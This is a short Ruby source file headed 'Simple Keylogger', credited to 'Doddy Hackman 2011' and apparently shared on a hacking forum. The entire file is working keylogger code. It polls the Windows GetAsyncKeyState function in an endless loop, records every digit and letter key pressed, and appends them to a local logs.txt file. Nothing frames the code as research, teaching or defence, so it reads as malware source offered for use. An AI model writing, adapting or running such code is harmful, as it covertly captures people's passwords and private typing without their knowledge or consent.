[Ruby] Simple Keylogger

#!usr/bin/ruby
#Simple Keylogger in Ruby
#(C) Doddy Hackman 2011

require 'Win32API'

def savefile(filename,text)
files = File.open(filename,'a')
files.puts text+"\n"
end

def capturar

nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")

while 1

for num1 in (0x30..0x39) #numbers
if nave.call(num1) & 0x01 == 1 
savefile("logs.txt",num1.chr())
end
end

for num2 in (0x41..0x5A) #letters
if nave.call(num2) & 0x01 == 1 
savefile("logs.txt",num2.chr())
end
end
end	
end

capturar() #Start the keylogger

# ¿ The End ?